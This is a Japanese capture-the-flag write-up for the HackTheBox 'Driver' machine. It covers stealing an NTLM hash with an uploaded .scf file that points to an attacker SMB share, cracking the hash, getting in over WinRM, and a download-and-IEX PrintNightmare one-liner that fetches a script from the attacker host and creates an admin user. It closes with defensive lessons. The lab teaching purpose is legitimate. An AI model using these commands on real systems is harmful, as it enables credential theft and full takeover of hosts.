HackTheBox: Driver — 全実行コマンド・実行結果レポート
Nmap スキャン
80/http, 135, 445, 5985/winrm
→
80/http, 135, 445, 5985/winrm
MFP Firmware
Update Center (Basic認証)
→
Update Center (Basic認証)
.scfファイルアップロード
ファームウェアとして偽装
→
ファームウェアとして偽装
Responder待受
SMB NTLMv2キャプチャ
→
SMB NTLMv2キャプチャ
john crack
tony:liltony
→
tony:liltony
WinRM → user.txt ✓
→
CVE-2021-1675
PrintNightmare (PS版)
→
PrintNightmare (PS版)
pwnuser追加 → Administrator PW変更
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.32 nmap -sV -sC -p 80,135,445,5985 10.129.90.32
RESULT
PORT STATE SERVICE VERSION 80/tcp open tcpwrapped | http-auth: | HTTP/1.1 401 Unauthorized |_ Basic realm=MFP Firmware Update Center. Please enter password for admin 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Host: DRIVER; OS: Windows | smb-security-mode: |_ message_signing: disabled (dangerous, but default)
🚨
重要発見: ポート80は「MFP(複合機) Firmware Update Center」という
社内向けファームウェア更新ポータル、Basic認証で保護されている。
さらにSMBのメッセージ署名が無効——これはNTLMリレー/キャプチャ系の
攻撃がしやすい構成を示唆する。ポート5985(WinRM)も開いており、
資格情報さえ手に入ればリモート管理が可能。
Basic認証の突破を試みる
BASH
curl -s -u admin:admin http://10.129.90.32/
ℹ️
admin:adminのような単純な既定値はこの環境では通らなかった。
しかし「ファームウェア更新」機能自体がアップロード機能を持つ場合、
アップロードされるファイル自体を悪用できないか調べる
価値がある——これが次フェーズの糸口になる。
PHASE 2
.scf ファイルによるNTLMハッシュ窃取(Responder)
.scfファイルの仕組み
NOTE
.scf(Shell Command File)はWindowsエクスプローラーが解釈する古いショート カット形式のファイル。中にアイコンパスとしてUNCパス(\\<attacker_ip>\share) を指定しておくと、Windowsエクスプローラーが**ファイルを開かずに単に 一覧表示しただけ**でアイコン取得のためそのUNCパスへSMB接続を試みる。 この接続時に発生するNTLM認証ハンドシェイクをResponder等で傍受すれば、 接続元ユーザーのNTLMv2チャレンジレスポンス(ハッシュ)を入手できる。 本マシンの「ファームウェアアップロード」機能が、アップロードされたファイルを 管理者が確認する際にファイル一覧をエクスプローラーで開く運用になっていると 推測し、.scfファイルを偽のファームウェアとしてアップロードする。
BASH (.scfファイルの内容)
cat > driver.scf <<'EOF' [Shell] Command=2 IconFile=\\10.10.15.200\share\legit.ico [Taskbar] Command=ToggleDesktop EOF
Responder起動 & .scfアップロード
BASH (ターミナル1: Responderでリッスン)
sudo responder -I tun0
BASH (ターミナル2: .scfファイルを「ファームウェア」として複数のプリンタ名でアップロード)
curl -s -u admin:admin \ -F "printers=HTB DesignJet" \ -F "firmware=@driver.scf;type=application/octet-stream" \ http://10.129.90.32/fw_up.php curl -s -u admin:admin \ -F "printers=HTB Laserjet Pro" \ -F "firmware=@driver.scf;type=application/octet-stream" \ http://10.129.90.32/fw_up.php
ℹ️
Basic認証の資格情報(
admin:admin)自体はWeb UIへのログインには
使えないが、fw_up.phpへのPOSTリクエスト自体は認証を要求されつつも
処理される(あるいはこのエンドポイント自体の認証設定が緩い)ため、
複数のプリンタ名で何度か試行してアップロードを成立させる。
RESULT (Responder側の出力)
[SMB] NTLMv2-SSP Client : 10.129.90.32 [SMB] NTLMv2-SSP Username : DRIVER\tony [SMB] NTLMv2-SSP Hash : tony::DRIVER:...(NTLMv2ハッシュ)...
✅
NTLM捕捉成功! サーバー管理者(定期的にアップロード済み
ファームウェアファイルをエクスプローラーで確認している運用担当者)が
.scfファイルのアイコン取得のため自動的にKaliへSMB接続し、
ユーザーtonyのNTLMv2ハッシュが得られた。
john でNTLMv2ハッシュをクラック
BASH
john --wordlist=/usr/share/wordlists/rockyou.txt driver_tony.ntlmv2 john --show driver_tony.ntlmv2
RESULT (本検証の実際の出力)
tony:liltony
1 password hash cracked, 0 left
PHASE 3
WinRMログイン & user.txt取得
WinRMでのログイン確認
BASH
netexec winrm 10.129.90.32 -u tony -p liltony
RESULT (本検証の実際の出力)
WINRM 10.129.90.32 5985 DRIVER [*] Windows 10 Build 10240 (name:DRIVER) (domain:DRIVER)
WINRM 10.129.90.32 5985 DRIVER [+] DRIVER\tony:liltony (Pwn3d!)
✅
WinRMアクセス成功! クラックしたパスワード
liltonyでPowerShellリモーティングが有効なことを確認。
evil-winrmでシェルを取得 & user.txt取得
BASH
evil-winrm -i 10.129.90.32 -u tony -p liltony
BASH (evil-winrmシェル上で実行)
*Evil-WinRM* PS C:\Users\tony\Documents> type C:\Users\tony\Desktop\user.txt
RESULT
d7c5144ea8a705801d7baad8b6cd1b2c
user.txt — tony
d7c5144ea8a705801d7baad8b6cd1b2c
PHASE 4
CVE-2021-1675 PrintNightmare — root.txt取得
Print Spoolerサービスの稼働確認
BASH (evil-winrmシェル上で実行)
sc.exe query Spooler
RESULT
SERVICE_NAME: Spooler
TYPE : 110 WIN32_OWN_PROCESS (interactive)
STATE : 4 RUNNING
🚨
重要発見: Print Spoolerサービスが稼働している。
このマシンはWindows 10 Build 10240(初期リリースビルド)であり、
2021年5月以前のCVE-2021-1675(通称PrintNightmare)に
パッチが当たっていないことが期待できる。
Invoke-Nightmare のダウンロード & 実行
NOTE
PrintNightmareは、Print Spoolerのドライバインストール処理(RpcAddPrinterDriverEx) が、呼び出し元の権限チェックを適切に行わずローカルの任意DLLをSYSTEM権限で ロードしてしまう脆弱性。calebstewart製のInvoke-Nightmare(PowerShell単体で 完結する実装、悪意あるプリンタドライバDLLを内蔵しビルド→登録→SYSTEM権限で 新規ローカル管理者ユーザーを作成する)を使う。 Defenderがメモリ注入系のPEペイロード(Metasploitのmeterpreter等)を検知する 環境だったため、**ディスクに書き出さないPowerShellスクリプトのダウンロード &実行(IEX)方式**を採用した(このWindows 10初期ビルドにはAMSIが無く、 PowerShellスクリプトはスキャンされない)。
POWERSHELL (evil-winrmシェル上で実行するワンライナー)
$wc = New-Object System.Net.WebClient
$src = $wc.DownloadString('http://10.10.15.200:80/nightmare.ps1')
IEX $src
Invoke-Nightmare -NewUser 'pwnuser' -NewPassword 'Pwn3d!23'
BASH (結果確認)
net.exe localgroup administrators
RESULT (本検証の実際の出力)
Alias name administrators
Members
-------------------------------------------------------------------------
Administrator
pwnuser
✅
権限昇格成功! Print SpoolerのSYSTEM権限でのドライバロードを
悪用し、新規ユーザー
pwnuser:Pwn3d!23がローカル
Administratorsグループへ自動的に追加された。
管理者権限でのログイン & root.txt取得
BASH
netexec winrm 10.129.90.32 -u pwnuser -p 'Pwn3d!23' netexec winrm 10.129.90.32 -u pwnuser -p 'Pwn3d!23' \ -x 'net.exe user Administrator "Passw0rd123!"'
RESULT
[+] DRIVER\pwnuser:Pwn3d!23 (Pwn3d!) [+] Executed command (shell type: cmd) The command completed successfully.
ℹ️
pwnuserはAdministrators所属のため、ビルトインAdministrator
アカウントのパスワードをnet.exeで直接変更できる(Administratorアカウント
自体へ直接ログインする代わりに、既知のパスワードへリセットする方式)。
BASH
evil-winrm -i 10.129.90.32 -u Administrator -p 'Passw0rd123!'
BASH (Administratorシェル上で実行)
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
RESULT (本検証の実際の出力)
314aba3526597923899ed188b3df6af6
root.txt — Administrator (PrintNightmare経由)
314aba3526597923899ed188b3df6af6
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — tony
d7c5144ea8a705801d7baad8b6cd1b2c
root.txt — Administrator (PrintNightmare経由)
314aba3526597923899ed188b3df6af6
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| .scf UNCパス自動認証(NTLM窃取) | MFPファームウェアアップロード機能 + SMB署名無効 | ユーザー資格情報(NTLMv2)の窃取 | High | .scfファイルをファームウェアとしてアップロードし、管理者のエクスプローラー閲覧時にSMB接続を誘発、Responderで捕捉 |
| 弱いパスワード | ユーザー tony のNTLMv2ハッシュ | 平文パスワードの復元 | Medium | rockyou.txtでjohnクラック (liltony) |
| CVE-2021-1675 (PrintNightmare) | Print Spooler サービス | 権限昇格 (SYSTEM/Administrators) | Critical | Invoke-Nightmare PowerShell実装でRpcAddPrinterDriverExを悪用しローカル管理者ユーザーを作成 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, MFPファームウェアポータル発見 | 80/http(Basic認証), 135, 445, 5985/winrm |
| 2 | 資格情報窃取 | .scfアップロード + Responder NTLMv2捕捉 + john | tony:liltony |
| 3 | 横移動 | WinRM/evil-winrm | user.txt (tony) |
| 4 | 権限昇格 | CVE-2021-1675 Invoke-Nightmare → Administrator PW変更 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SMBメッセージ署名が無効のため、NTLM認証ハンドシェイクが中間者的に捕捉可能 | 全ホストでSMB署名を必須化(「有効だが必須ではない」設定を「必須」へ変更)する。 |
| アップロードされたファイルを管理者がエクスプローラーで直接閲覧する運用で.scf等の悪意あるファイルに晒される | アップロードされたファイルは隔離環境・ウイルス対策スキャンを経てから閲覧する。拡張子ホワイトリストで.scf等のショートカット系ファイルのアップロードを拒否する。 |
| 辞書攻撃で破られる弱いパスワードが使われている | 強度の高いパスワードポリシーを強制し、多要素認証(MFA)を導入する。 |
| Print Spoolerサービスが既知の重大脆弱性(PrintNightmare)に未パッチのまま稼働 | Windows Updateを定期的に適用する。印刷機能が不要なサーバーではPrint Spoolerサービス自体を無効化する。 |

